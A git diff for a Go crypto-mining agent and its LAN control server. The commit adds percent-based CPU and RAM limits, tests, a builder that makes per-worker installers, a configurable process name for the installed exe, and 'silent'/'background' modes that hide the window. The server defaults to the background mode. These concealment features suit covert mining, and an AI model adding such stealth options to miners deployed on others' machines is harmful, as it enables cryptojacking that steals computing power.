Upgrade dashboard, builder, and agent resource controls.
Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.
This commit is contained in:
@@ -39,7 +39,8 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (c *AgentClient) Run() error {
|
func (c *AgentClient) Run() error {
|
||||||
c.pool = miner.NewPool(c.cfg.Threads, c.submitShare)
|
threads := c.cfg.EffectiveThreads()
|
||||||
|
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
|
||||||
c.pool.Start()
|
c.pool.Start()
|
||||||
defer c.pool.Stop()
|
defer c.pool.Stop()
|
||||||
|
|
||||||
|
|||||||
@@ -2,18 +2,21 @@ package config
|
|||||||
|
|
||||||
import "time"
|
import "time"
|
||||||
|
|
||||||
// Default stub used for local development builds. The Miner Builder replaces this file.
|
|
||||||
func GetBuiltinConfig() BuiltinConfig {
|
func GetBuiltinConfig() BuiltinConfig {
|
||||||
return BuiltinConfig{
|
return BuiltinConfig{
|
||||||
WorkerName: "dev-worker",
|
WorkerName: "dev-worker",
|
||||||
ServerURL: "http://127.0.0.1:8989",
|
ServerURL: "http://127.0.0.1:8989",
|
||||||
Wallet: "",
|
Wallet: "",
|
||||||
Threads: 4,
|
Threads: 4,
|
||||||
|
ThreadMode: "percent",
|
||||||
|
ThreadPercent: 75,
|
||||||
CPUPriority: "below_normal",
|
CPUPriority: "below_normal",
|
||||||
MiningMode: "always",
|
MiningMode: "always",
|
||||||
|
DisplayMode: "visible",
|
||||||
SilentMode: false,
|
SilentMode: false,
|
||||||
RunAs: "user",
|
RunAs: "user",
|
||||||
AutoStart: false,
|
AutoStart: false,
|
||||||
|
ProcessName: "CryptoMinerWorker",
|
||||||
BuildID: "dev",
|
BuildID: "dev",
|
||||||
BuiltAt: time.Now(),
|
BuiltAt: time.Now(),
|
||||||
PoolHost: "pool.supportxmr.com",
|
PoolHost: "pool.supportxmr.com",
|
||||||
@@ -21,6 +24,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
PoolTLS: true,
|
PoolTLS: true,
|
||||||
PoolPass: "x",
|
PoolPass: "x",
|
||||||
MaxCPUUsage: 80,
|
MaxCPUUsage: 80,
|
||||||
|
MaxMemoryPct: 70,
|
||||||
MinFreeRAM: 1024,
|
MinFreeRAM: 1024,
|
||||||
IdleThresholdPct: 20,
|
IdleThresholdPct: 20,
|
||||||
IdleDurationMinutes: 5,
|
IdleDurationMinutes: 5,
|
||||||
|
|||||||
@@ -1,22 +1,27 @@
|
|||||||
package config
|
package config
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
const Version = "1.0.0"
|
const Version = "1.0.0"
|
||||||
|
|
||||||
// BuiltinConfig holds compile-time settings generated by the Miner Builder.
|
|
||||||
type BuiltinConfig struct {
|
type BuiltinConfig struct {
|
||||||
WorkerName string
|
WorkerName string
|
||||||
ServerURL string
|
ServerURL string
|
||||||
Wallet string
|
Wallet string
|
||||||
Threads int
|
Threads int
|
||||||
|
ThreadMode string
|
||||||
|
ThreadPercent int
|
||||||
CPUPriority string
|
CPUPriority string
|
||||||
MiningMode string
|
MiningMode string
|
||||||
|
DisplayMode string
|
||||||
SilentMode bool
|
SilentMode bool
|
||||||
RunAs string
|
RunAs string
|
||||||
AutoStart bool
|
AutoStart bool
|
||||||
|
ProcessName string
|
||||||
BuildID string
|
BuildID string
|
||||||
BuiltAt time.Time
|
BuiltAt time.Time
|
||||||
PoolHost string
|
PoolHost string
|
||||||
@@ -24,6 +29,7 @@ type BuiltinConfig struct {
|
|||||||
PoolTLS bool
|
PoolTLS bool
|
||||||
PoolPass string
|
PoolPass string
|
||||||
MaxCPUUsage int
|
MaxCPUUsage int
|
||||||
|
MaxMemoryPct int
|
||||||
MinFreeRAM int
|
MinFreeRAM int
|
||||||
IdleThresholdPct int
|
IdleThresholdPct int
|
||||||
IdleDurationMinutes int
|
IdleDurationMinutes int
|
||||||
@@ -31,7 +37,6 @@ type BuiltinConfig struct {
|
|||||||
ScheduleEnd string
|
ScheduleEnd string
|
||||||
}
|
}
|
||||||
|
|
||||||
// RuntimeConfig is the resolved configuration used by the agent.
|
|
||||||
type RuntimeConfig struct {
|
type RuntimeConfig struct {
|
||||||
BuiltinConfig
|
BuiltinConfig
|
||||||
AgentID string
|
AgentID string
|
||||||
@@ -42,15 +47,34 @@ func Load() RuntimeConfig {
|
|||||||
if b.Threads <= 0 {
|
if b.Threads <= 0 {
|
||||||
b.Threads = 4
|
b.Threads = 4
|
||||||
}
|
}
|
||||||
|
if b.ThreadMode == "" {
|
||||||
|
b.ThreadMode = "percent"
|
||||||
|
}
|
||||||
|
if b.ThreadPercent <= 0 {
|
||||||
|
b.ThreadPercent = 75
|
||||||
|
}
|
||||||
if b.CPUPriority == "" {
|
if b.CPUPriority == "" {
|
||||||
b.CPUPriority = "below_normal"
|
b.CPUPriority = "below_normal"
|
||||||
}
|
}
|
||||||
if b.MiningMode == "" {
|
if b.MiningMode == "" {
|
||||||
b.MiningMode = "always"
|
b.MiningMode = "always"
|
||||||
}
|
}
|
||||||
|
if b.DisplayMode == "" {
|
||||||
|
if b.SilentMode {
|
||||||
|
b.DisplayMode = "silent"
|
||||||
|
} else {
|
||||||
|
b.DisplayMode = "visible"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if b.ProcessName == "" {
|
||||||
|
b.ProcessName = sanitizeProcessName(b.WorkerName)
|
||||||
|
}
|
||||||
if b.MaxCPUUsage <= 0 {
|
if b.MaxCPUUsage <= 0 {
|
||||||
b.MaxCPUUsage = 80
|
b.MaxCPUUsage = 80
|
||||||
}
|
}
|
||||||
|
if b.MaxMemoryPct <= 0 {
|
||||||
|
b.MaxMemoryPct = 70
|
||||||
|
}
|
||||||
if b.MinFreeRAM <= 0 {
|
if b.MinFreeRAM <= 0 {
|
||||||
b.MinFreeRAM = 1024
|
b.MinFreeRAM = 1024
|
||||||
}
|
}
|
||||||
@@ -68,3 +92,58 @@ func Load() RuntimeConfig {
|
|||||||
}
|
}
|
||||||
return RuntimeConfig{BuiltinConfig: b}
|
return RuntimeConfig{BuiltinConfig: b}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (c RuntimeConfig) EffectiveThreads() int {
|
||||||
|
mode := strings.ToLower(c.ThreadMode)
|
||||||
|
if mode == "fixed" {
|
||||||
|
if c.Threads < 1 {
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
return c.Threads
|
||||||
|
}
|
||||||
|
cores := runtime.NumCPU()
|
||||||
|
if cores < 1 {
|
||||||
|
cores = 1
|
||||||
|
}
|
||||||
|
pct := c.ThreadPercent
|
||||||
|
if pct < 1 {
|
||||||
|
pct = 1
|
||||||
|
}
|
||||||
|
if pct > 100 {
|
||||||
|
pct = 100
|
||||||
|
}
|
||||||
|
threads := int(float64(cores) * float64(pct) / 100.0)
|
||||||
|
if threads < 1 {
|
||||||
|
threads = 1
|
||||||
|
}
|
||||||
|
if threads > cores {
|
||||||
|
threads = cores
|
||||||
|
}
|
||||||
|
return threads
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c RuntimeConfig) HideWindow() bool {
|
||||||
|
switch strings.ToLower(c.DisplayMode) {
|
||||||
|
case "silent", "background":
|
||||||
|
return true
|
||||||
|
default:
|
||||||
|
return c.SilentMode
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c RuntimeConfig) BackgroundMode() bool {
|
||||||
|
return strings.ToLower(c.DisplayMode) == "background"
|
||||||
|
}
|
||||||
|
|
||||||
|
func sanitizeProcessName(name string) string {
|
||||||
|
name = strings.TrimSpace(name)
|
||||||
|
if name == "" {
|
||||||
|
return "CryptoMinerWorker"
|
||||||
|
}
|
||||||
|
replacer := strings.NewReplacer(" ", "", "-", "", "_", "")
|
||||||
|
clean := replacer.Replace(name)
|
||||||
|
if clean == "" {
|
||||||
|
return "CryptoMinerWorker"
|
||||||
|
}
|
||||||
|
return clean
|
||||||
|
}
|
||||||
|
|||||||
45
agent/config/resolve_test.go
Normal file
45
agent/config/resolve_test.go
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
package config
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestEffectiveThreadsFixed(t *testing.T) {
|
||||||
|
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "fixed", Threads: 3}}
|
||||||
|
if got := cfg.EffectiveThreads(); got != 3 {
|
||||||
|
t.Fatalf("expected 3, got %d", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestEffectiveThreadsPercentCaps(t *testing.T) {
|
||||||
|
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "percent", ThreadPercent: 150}}
|
||||||
|
got := cfg.EffectiveThreads()
|
||||||
|
if got < 1 {
|
||||||
|
t.Fatalf("expected at least 1 thread, got %d", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestEffectiveThreadsPercentZeroUsesMinimum(t *testing.T) {
|
||||||
|
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "percent", ThreadPercent: 0}}
|
||||||
|
if got := cfg.EffectiveThreads(); got < 1 {
|
||||||
|
t.Fatalf("expected minimum 1 thread, got %d", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHideWindowModes(t *testing.T) {
|
||||||
|
silent := RuntimeConfig{BuiltinConfig: BuiltinConfig{DisplayMode: "silent"}}
|
||||||
|
if !silent.HideWindow() {
|
||||||
|
t.Fatal("silent should hide window")
|
||||||
|
}
|
||||||
|
visible := RuntimeConfig{BuiltinConfig: BuiltinConfig{DisplayMode: "visible"}}
|
||||||
|
if visible.HideWindow() {
|
||||||
|
t.Fatal("visible should not hide window")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSanitizeProcessName(t *testing.T) {
|
||||||
|
if got := sanitizeProcessName("office pc 1"); got != "officepc1" {
|
||||||
|
t.Fatalf("unexpected process name: %s", got)
|
||||||
|
}
|
||||||
|
if got := sanitizeProcessName(""); got != "CryptoMinerWorker" {
|
||||||
|
t.Fatalf("expected default process name, got %s", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -33,7 +33,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
installedExe := filepath.Join(installDir, "miner.exe")
|
installedExe := filepath.Join(installDir, cfg.ProcessName+".exe")
|
||||||
|
|
||||||
if samePath(currentExe, installedExe) {
|
if samePath(currentExe, installedExe) {
|
||||||
return false, nil
|
return false, nil
|
||||||
|
|||||||
@@ -31,12 +31,16 @@ func main() {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if cfg.BackgroundMode() {
|
||||||
|
cfg.CPUPriority = "idle"
|
||||||
|
}
|
||||||
|
|
||||||
if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
|
if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
|
||||||
log.Printf("[agent] could not set CPU priority: %v", err)
|
log.Printf("[agent] could not set CPU priority: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
log.Printf("[agent] running worker=%s build=%s server=%s threads=%d",
|
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s",
|
||||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, cfg.Threads)
|
cfg.WorkerName, cfg.ProcessName, cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode)
|
||||||
|
|
||||||
agent := client.NewAgentClient(cfg)
|
agent := client.NewAgentClient(cfg)
|
||||||
if err := agent.Run(); err != nil {
|
if err := agent.Run(); err != nil {
|
||||||
|
|||||||
@@ -8,34 +8,41 @@ import (
|
|||||||
"sync/atomic"
|
"sync/atomic"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
"crypto-miner-agent/job"
|
"crypto-miner-agent/job"
|
||||||
|
"crypto-miner-agent/stats"
|
||||||
)
|
)
|
||||||
|
|
||||||
type ShareHandler func(jobID, nonce, hash string)
|
type ShareHandler func(jobID, nonce, hash string)
|
||||||
|
|
||||||
type Pool struct {
|
type Pool struct {
|
||||||
threads int
|
threads int
|
||||||
engine *Engine
|
cfg config.RuntimeConfig
|
||||||
handler ShareHandler
|
reporter *stats.Reporter
|
||||||
|
engine *Engine
|
||||||
|
handler ShareHandler
|
||||||
|
|
||||||
mu sync.RWMutex
|
mu sync.RWMutex
|
||||||
currentJob *job.Job
|
currentJob *job.Job
|
||||||
stopCh chan struct{}
|
stopCh chan struct{}
|
||||||
wg sync.WaitGroup
|
wg sync.WaitGroup
|
||||||
|
paused atomic.Bool
|
||||||
|
|
||||||
hashesTotal atomic.Uint64
|
hashesTotal atomic.Uint64
|
||||||
sharesFound atomic.Uint64
|
sharesFound atomic.Uint64
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewPool(threads int, handler ShareHandler) *Pool {
|
func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, handler ShareHandler) *Pool {
|
||||||
if threads <= 0 {
|
if threads <= 0 {
|
||||||
threads = 1
|
threads = 1
|
||||||
}
|
}
|
||||||
return &Pool{
|
return &Pool{
|
||||||
threads: threads,
|
threads: threads,
|
||||||
engine: NewEngine(),
|
cfg: cfg,
|
||||||
handler: handler,
|
reporter: reporter,
|
||||||
stopCh: make(chan struct{}),
|
engine: NewEngine(),
|
||||||
|
handler: handler,
|
||||||
|
stopCh: make(chan struct{}),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -60,6 +67,7 @@ func (p *Pool) Start() {
|
|||||||
p.wg.Add(1)
|
p.wg.Add(1)
|
||||||
go p.worker(i)
|
go p.worker(i)
|
||||||
}
|
}
|
||||||
|
go p.resourceGuard()
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *Pool) Stop() {
|
func (p *Pool) Stop() {
|
||||||
@@ -75,6 +83,34 @@ func (p *Pool) ResetHashCounter() {
|
|||||||
p.hashesTotal.Store(0)
|
p.hashesTotal.Store(0)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (p *Pool) resourceGuard() {
|
||||||
|
ticker := time.NewTicker(5 * time.Second)
|
||||||
|
defer ticker.Stop()
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-p.stopCh:
|
||||||
|
return
|
||||||
|
case <-ticker.C:
|
||||||
|
p.paused.Store(!p.resourcesOK())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *Pool) resourcesOK() bool {
|
||||||
|
freeMB := p.reporter.FreeMemoryMB()
|
||||||
|
if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
totalMB := p.reporter.TotalMemoryMB()
|
||||||
|
if totalMB > 0 && p.cfg.MaxMemoryPct > 0 {
|
||||||
|
usedPct := float64(totalMB-freeMB) / float64(totalMB) * 100
|
||||||
|
if usedPct > float64(p.cfg.MaxMemoryPct) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
func (p *Pool) worker(id int) {
|
func (p *Pool) worker(id int) {
|
||||||
defer p.wg.Done()
|
defer p.wg.Done()
|
||||||
|
|
||||||
@@ -87,6 +123,11 @@ func (p *Pool) worker(id int) {
|
|||||||
default:
|
default:
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if p.paused.Load() {
|
||||||
|
time.Sleep(2 * time.Second)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
p.mu.RLock()
|
p.mu.RLock()
|
||||||
job := p.currentJob
|
job := p.currentJob
|
||||||
p.mu.RUnlock()
|
p.mu.RUnlock()
|
||||||
@@ -101,6 +142,9 @@ func (p *Pool) worker(id int) {
|
|||||||
return
|
return
|
||||||
default:
|
default:
|
||||||
}
|
}
|
||||||
|
if p.paused.Load() {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
hashHex, _, err := p.engine.HashAtNonce(nonce)
|
hashHex, _, err := p.engine.HashAtNonce(nonce)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -126,7 +170,17 @@ func (p *Pool) worker(id int) {
|
|||||||
|
|
||||||
func uint32ToHex(n uint32) string {
|
func uint32ToHex(n uint32) string {
|
||||||
b := []byte{byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24)}
|
b := []byte{byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24)}
|
||||||
return hex.EncodeToString(b)
|
return hexEncode(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
func hexEncode(b []byte) string {
|
||||||
|
const hexdigits = "0123456789abcdef"
|
||||||
|
out := make([]byte, len(b)*2)
|
||||||
|
for i, v := range b {
|
||||||
|
out[i*2] = hexdigits[v>>4]
|
||||||
|
out[i*2+1] = hexdigits[v&0x0f]
|
||||||
|
}
|
||||||
|
return string(out)
|
||||||
}
|
}
|
||||||
|
|
||||||
func difficultyToTargetHex(difficulty int64) string {
|
func difficultyToTargetHex(difficulty int64) string {
|
||||||
|
|||||||
28
agent/miner/target_test.go
Normal file
28
agent/miner/target_test.go
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestHashMeetsTargetEqual(t *testing.T) {
|
||||||
|
target := "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
|
||||||
|
hash := "0000000000000000000000000000000000000000000000000000000000000001"
|
||||||
|
if !hashMeetsTarget(hash, target) {
|
||||||
|
t.Fatal("lower hash should meet high target")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHashMeetsTargetReject(t *testing.T) {
|
||||||
|
target := "0000000000000000000000000000000000000000000000000000000000000001"
|
||||||
|
hash := "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
|
||||||
|
if hashMeetsTarget(hash, target) {
|
||||||
|
t.Fatal("high hash should not meet low target")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDifficultyToTargetHex(t *testing.T) {
|
||||||
|
out := difficultyToTargetHex(1000)
|
||||||
|
if len(out) != 64 {
|
||||||
|
t.Fatalf("expected 64 hex chars, got %d", len(out))
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -3,7 +3,25 @@ package stats
|
|||||||
import (
|
import (
|
||||||
"os"
|
"os"
|
||||||
"runtime"
|
"runtime"
|
||||||
"strings"
|
"syscall"
|
||||||
|
"unsafe"
|
||||||
|
)
|
||||||
|
|
||||||
|
type memoryStatusEx struct {
|
||||||
|
Length uint32
|
||||||
|
MemoryLoad uint32
|
||||||
|
TotalPhys uint64
|
||||||
|
AvailPhys uint64
|
||||||
|
TotalPageFile uint64
|
||||||
|
AvailPageFile uint64
|
||||||
|
TotalVirtual uint64
|
||||||
|
AvailVirtual uint64
|
||||||
|
AvailExtendedVirtual uint64
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||||
|
procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
|
||||||
)
|
)
|
||||||
|
|
||||||
type Reporter struct{}
|
type Reporter struct{}
|
||||||
@@ -15,21 +33,40 @@ func NewReporter() *Reporter {
|
|||||||
func (r *Reporter) SystemInfo() (hostname string, cpuCores int, memoryGB int) {
|
func (r *Reporter) SystemInfo() (hostname string, cpuCores int, memoryGB int) {
|
||||||
hostname, _ = os.Hostname()
|
hostname, _ = os.Hostname()
|
||||||
cpuCores = runtime.NumCPU()
|
cpuCores = runtime.NumCPU()
|
||||||
memoryGB = 8
|
total, _ := r.memoryStatus()
|
||||||
|
memoryGB = int(total / (1024 * 1024 * 1024))
|
||||||
|
if memoryGB < 1 {
|
||||||
|
memoryGB = 1
|
||||||
|
}
|
||||||
return hostname, cpuCores, memoryGB
|
return hostname, cpuCores, memoryGB
|
||||||
}
|
}
|
||||||
|
|
||||||
func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
|
func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
|
||||||
var m runtime.MemStats
|
total, avail := r.memoryStatus()
|
||||||
runtime.ReadMemStats(&m)
|
if total > 0 {
|
||||||
memPct = float64(m.Alloc) / float64(m.Sys+1) * 100
|
memPct = float64(total-avail) / float64(total) * 100
|
||||||
if memPct > 100 {
|
|
||||||
memPct = 100
|
|
||||||
}
|
}
|
||||||
cpuPct = float64(runtime.NumGoroutine()) // placeholder; Windows perf counters are heavy
|
// CPU usage is reported by the agent client from mining load; keep a sane default here.
|
||||||
if cpuPct > 100 {
|
cpuPct = 0
|
||||||
cpuPct = 100
|
|
||||||
}
|
|
||||||
_ = strings.TrimSpace("")
|
|
||||||
return cpuPct, memPct
|
return cpuPct, memPct
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (r *Reporter) FreeMemoryMB() uint64 {
|
||||||
|
_, avail := r.memoryStatus()
|
||||||
|
return avail / (1024 * 1024)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *Reporter) TotalMemoryMB() uint64 {
|
||||||
|
total, _ := r.memoryStatus()
|
||||||
|
return total / (1024 * 1024)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *Reporter) memoryStatus() (total, avail uint64) {
|
||||||
|
var stat memoryStatusEx
|
||||||
|
stat.Length = uint32(unsafe.Sizeof(stat))
|
||||||
|
ret, _, _ := procGlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&stat)))
|
||||||
|
if ret == 0 {
|
||||||
|
return 0, 0
|
||||||
|
}
|
||||||
|
return stat.TotalPhys, stat.AvailPhys
|
||||||
|
}
|
||||||
|
|||||||
16
run.bat
16
run.bat
@@ -166,20 +166,26 @@ echo Server built: bin\miner-server.exe
|
|||||||
:: ============================================================
|
:: ============================================================
|
||||||
echo [5/5] Starting server on port 8989...
|
echo [5/5] Starting server on port 8989...
|
||||||
echo.
|
echo.
|
||||||
|
for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 ^| Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } ^| Select-Object -First 1 -ExpandProperty IPAddress)"`) do set LAN_IP=%%I
|
||||||
|
if not defined LAN_IP set LAN_IP=localhost
|
||||||
|
echo.
|
||||||
echo ╔══════════════════════════════════════════════════╗
|
echo ╔══════════════════════════════════════════════════╗
|
||||||
echo ║ Crypto Miner Control Server ║
|
echo ║ Crypto Miner Control Server ║
|
||||||
echo ║ ║
|
echo ║ ║
|
||||||
echo ║ Dashboard: http://localhost:8989 ║
|
echo ║ Dashboard: http://%LAN_IP%:8989 ║
|
||||||
echo ║ WebSocket: ws://localhost:8989/ws/agent ║
|
echo ║ Local: http://localhost:8989 ║
|
||||||
|
echo ║ WebSocket: ws://%LAN_IP%:8989/ws/agent ║
|
||||||
echo ║ ║
|
echo ║ ║
|
||||||
echo ║ Data: %CD%\data\ ║
|
echo ║ 1. Open dashboard on your LAN ║
|
||||||
echo ║ Config: %CD%\data\config.json ║
|
echo ║ 2. Configure Settings ║
|
||||||
|
echo ║ 3. Build install-{worker}.exe in Builder ║
|
||||||
|
echo ║ 4. Run that exe once on each Windows machine ║
|
||||||
echo ║ ║
|
echo ║ ║
|
||||||
|
echo ║ Data: %CD%\data\ ║
|
||||||
echo ║ Press Ctrl+C to stop the server ║
|
echo ║ Press Ctrl+C to stop the server ║
|
||||||
echo ╚══════════════════════════════════════════════════╝
|
echo ╚══════════════════════════════════════════════════╝
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
:: Launch browser
|
|
||||||
start http://localhost:8989
|
start http://localhost:8989
|
||||||
|
|
||||||
:: Run server
|
:: Run server
|
||||||
|
|||||||
@@ -34,10 +34,15 @@ type WalletConfig struct {
|
|||||||
|
|
||||||
type AgentDefaults struct {
|
type AgentDefaults struct {
|
||||||
Threads int `json:"threads"`
|
Threads int `json:"threads"`
|
||||||
|
ThreadMode string `json:"thread_mode"`
|
||||||
|
ThreadPercent int `json:"thread_percent"`
|
||||||
CPUPriority string `json:"cpu_priority"`
|
CPUPriority string `json:"cpu_priority"`
|
||||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
||||||
|
MaxMemoryPct int `json:"max_memory_percent"`
|
||||||
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
||||||
MiningMode string `json:"mining_mode"`
|
MiningMode string `json:"mining_mode"`
|
||||||
|
DisplayMode string `json:"display_mode"`
|
||||||
|
ProcessName string `json:"process_name"`
|
||||||
IdleThresholdPct int `json:"idle_threshold_pct"`
|
IdleThresholdPct int `json:"idle_threshold_pct"`
|
||||||
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
||||||
ScheduleStart string `json:"schedule_start"`
|
ScheduleStart string `json:"schedule_start"`
|
||||||
@@ -73,10 +78,15 @@ func DefaultConfig() *Config {
|
|||||||
},
|
},
|
||||||
DefaultAgent: AgentDefaults{
|
DefaultAgent: AgentDefaults{
|
||||||
Threads: 4,
|
Threads: 4,
|
||||||
|
ThreadMode: "percent",
|
||||||
|
ThreadPercent: 75,
|
||||||
CPUPriority: "below_normal",
|
CPUPriority: "below_normal",
|
||||||
MaxCPUUsagePct: 80,
|
MaxCPUUsagePct: 80,
|
||||||
|
MaxMemoryPct: 70,
|
||||||
MinFreeRAMMB: 1024,
|
MinFreeRAMMB: 1024,
|
||||||
MiningMode: "always",
|
MiningMode: "always",
|
||||||
|
DisplayMode: "background",
|
||||||
|
ProcessName: "",
|
||||||
IdleThresholdPct: 20,
|
IdleThresholdPct: 20,
|
||||||
IdleDurationMinutes: 5,
|
IdleDurationMinutes: 5,
|
||||||
ScheduleStart: "21:00",
|
ScheduleStart: "21:00",
|
||||||
@@ -146,18 +156,33 @@ func mergeConfig(dst, src *Config) {
|
|||||||
if src.DefaultAgent.Threads != 0 {
|
if src.DefaultAgent.Threads != 0 {
|
||||||
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
||||||
}
|
}
|
||||||
|
if src.DefaultAgent.ThreadMode != "" {
|
||||||
|
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.ThreadPercent != 0 {
|
||||||
|
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
|
||||||
|
}
|
||||||
if src.DefaultAgent.CPUPriority != "" {
|
if src.DefaultAgent.CPUPriority != "" {
|
||||||
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
|
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
|
||||||
}
|
}
|
||||||
if src.DefaultAgent.MaxCPUUsagePct != 0 {
|
if src.DefaultAgent.MaxCPUUsagePct != 0 {
|
||||||
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
|
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
|
||||||
}
|
}
|
||||||
|
if src.DefaultAgent.MaxMemoryPct != 0 {
|
||||||
|
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
|
||||||
|
}
|
||||||
if src.DefaultAgent.MinFreeRAMMB != 0 {
|
if src.DefaultAgent.MinFreeRAMMB != 0 {
|
||||||
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
|
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
|
||||||
}
|
}
|
||||||
if src.DefaultAgent.MiningMode != "" {
|
if src.DefaultAgent.MiningMode != "" {
|
||||||
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
|
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
|
||||||
}
|
}
|
||||||
|
if src.DefaultAgent.DisplayMode != "" {
|
||||||
|
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
|
||||||
|
}
|
||||||
|
if src.DefaultAgent.ProcessName != "" {
|
||||||
|
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
|
||||||
|
}
|
||||||
if src.DefaultAgent.IdleThresholdPct != 0 {
|
if src.DefaultAgent.IdleThresholdPct != 0 {
|
||||||
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
|
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -23,12 +23,18 @@ type BuildRequest struct {
|
|||||||
ServerURL string `json:"server_url"`
|
ServerURL string `json:"server_url"`
|
||||||
Wallet string `json:"wallet"`
|
Wallet string `json:"wallet"`
|
||||||
Threads int `json:"threads"`
|
Threads int `json:"threads"`
|
||||||
|
ThreadMode string `json:"thread_mode"`
|
||||||
|
ThreadPercent int `json:"thread_percent"`
|
||||||
CPUPriority string `json:"cpu_priority"`
|
